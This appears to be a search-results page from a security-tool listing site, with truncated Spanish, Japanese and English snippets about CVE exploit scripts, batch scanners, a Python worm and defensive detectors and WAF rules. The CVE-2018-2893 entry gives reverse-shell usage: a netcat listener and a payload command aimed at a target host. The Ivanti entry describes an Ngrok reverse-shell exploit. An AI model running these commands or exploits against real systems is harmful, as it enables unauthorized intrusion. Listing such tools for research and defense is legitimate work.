65408 matches found
JWT-Bruteforcer
JWT-Bruteforcer Herramienta básica de Jwt Bruteforcer con prueba de vulnerabilidad CVE-2018-1000531 Librerías importadas: jwt base64 Requiere versión mínima de python 3.6...
CVE-2018-7600-Drupal7
CVE-2018-7600-Drupal7 CVE-2018-7600【Drupal7】バッチスキャンツール。 root@kitploit: メインファイル：CVE-2018-7600-Drupal7.py 本質的にはwhoamiのexpをラップしたものです Drupal7/8の原理は同じですが、このスクリプトは現時点では7のみに対応しています target.txtをターゲット入力として提供し、結果は自動的にresult.txtファイルに出力されます かなり前に書いたスクリプトなので、今ここで共有します。細かい部分が不十分な点がありましたらご容赦ください デモ： root@kitploi...
CVE-2020-5902-POC
CVE-2020-5902-POC Detección por lotes de CVE-2020-5902 python3 CVE-2020-5902.py infile.txt...
Detect-CVE-2017-0144-attack
Programa Python para detectar ataques CVE-2017-0144 Programa Python cuya función es rastrear y supervisar el tráfico de red continuamente en tiempo real. Mostrará una alerta en la pantalla de la consola cuando detecte un ataque CVE-2017-0144 EternalBlue 1. Modelo del laboratorio Este laboratorio ...
CVE-2018-2893
CVE-2018-2893 Puede obtener una shell inversa directamente Uso Escuchar root@kitploit: nc -lvvp reverseport Enviar payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Referencias bigsizeme pyn3rd Notas Solo para pruebas e intercambio de aprendizaje, no lo use...
ivanti_shell
CVE-2024-21887 の悪用（Ngrok リバースシェル） このリポジトリは、Ivanti Connect Secure ゲートウェイの CVE-2024-21887 の脆弱性の悪用を実演するために設計された Python スクリプトを提供します。教育および倫理的なテスト目的で、Ngrok を利用してリバースシェルを確立します。 免責事項...
shai_hulud
Un gusano en Python...
CVE-2021-41773
Uso root@kitploit: usage: main.py -h -f FILE -s N --timeout SECONDS optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing target URLs one per line -s N, --semaphore N Concurrent requests default: 10 --timeout SECONDS Request timeout in seconds default...
autonoma
Autonoma Autonoma detects hardcoded secrets and replaces them withos.environ... references using AST rewrites. Changes are applied only when the rewrite is deterministic and semantically-preserving. Rewrites use the parsed syntax tree — not regex on raw text. Runs locally with no network calls...
CVE-2025-36911-Wisper_Pair_Target_Finder
¡Esto no es un exploit para CVE-2025-36911!!! ¡Es un detector para encontrar dispositivos potencialmente vulnerables! ¡Úsalo solo en tus propios dispositivos! ¡No soy responsable de los daños! Probado solo en distros basadas en Debian usando python3 Uso: root@kitploit: sudo apt update && sudo apt...
CVE-2025-66478-kinda-waf
kinda-waf Protector WAF temporal y sencillo dirigido a una secuencia específica de payload. ¡Ayudemos a que los sitios web se mantengan seguros hasta que estén debidamente parcheados! Propósito Proteger de CVE-2025-66478 detectando y bloqueando solicitudes que contengan firmas de payload...
CVE-2022-1592
CVE-2022-1592 POC root@kitploit: pip install requests --break-system-packages root@kitploit: CVE-2022-1592.py https://tatget.com/...
Agent-Reach
👁️ Agent Reach Give your AI Agent one-click access to the entire internet The most reliable access path for each platform — chosen, installed, and health-checked for you. Backends come and go; you won't notice. Quick Start · 中文 · 日本語 · 한국어 · Platforms ·...
CanoP
CanoP CLI A fast, standalone static analysis tool designed specifically to detect vulnerabilities introduced by AI coding assistants. CanoP analyzes your codebase locally to identify security risks in AI-generated code. Features High Signal-to-Noise Ratio : Traditional scanners produce overwhelmi...
auth-header-trust-rules
auth-header-trust-rules Un pequeño conjunto de reglas de Semgrep que señala código que toma decisiones de autenticación, autorización o confianza basadas en cabeceras de solicitudes HTTP que un atacante controla. El ejemplo canónico de esta clase de vulnerabilidad es CVE-2025-29927: Next.js...
debloat
Debloat Debloat is a GUI and CLI tool to remove excess garbage from bloated executables. By excess garbage, I mean 100 - 800 MB of junk bytes added to a binary to keep it from going into a sandbox. This method of adding junk is called "inflating" or "pumping" a binary. Debloat currently handles t...
CVE-2020-1938_Ghostcat-PoC
CVE-2020-1938Ghostcat-PoC - CVE-2020-1938 Una potente herramienta de explotación en Python para la vulnerabilidad Ghostcat AJP de Apache Tomcat CVE-2020-1938 con funciones avanzadas para pruebas de penetración e investigación de seguridad. 🔍 Descripción general La vulnerabilidad Ghostcat...
Exploit-en-Python-para-CVE-2023-4147
🚨 Exploit en Python para CVE-2023-4147 Proof of Concept exploit para CVE-2023-4147. Exclusivamente para investigación de seguridad y educación. ⚠️ Advertencia Legal USO EXCLUSIVAMENTE EDUCATIVO Y AUTORIZADO ✅ Investigación de seguridad autorizada ✅ Entornos de laboratorio controlados ✅ Educación e...
CVE-2023-24329-lab
CVE-2023-24329 — Laboratorio de Diferencial de Analizador Parser Differential Solo con fines educativos. Este laboratorio existe para demostrar una vulnerabilidad real en un entorno seguro y aislado. No lo ejecutes nunca contra sistemas que no te pertenezcan. No reutilices el código de filtro...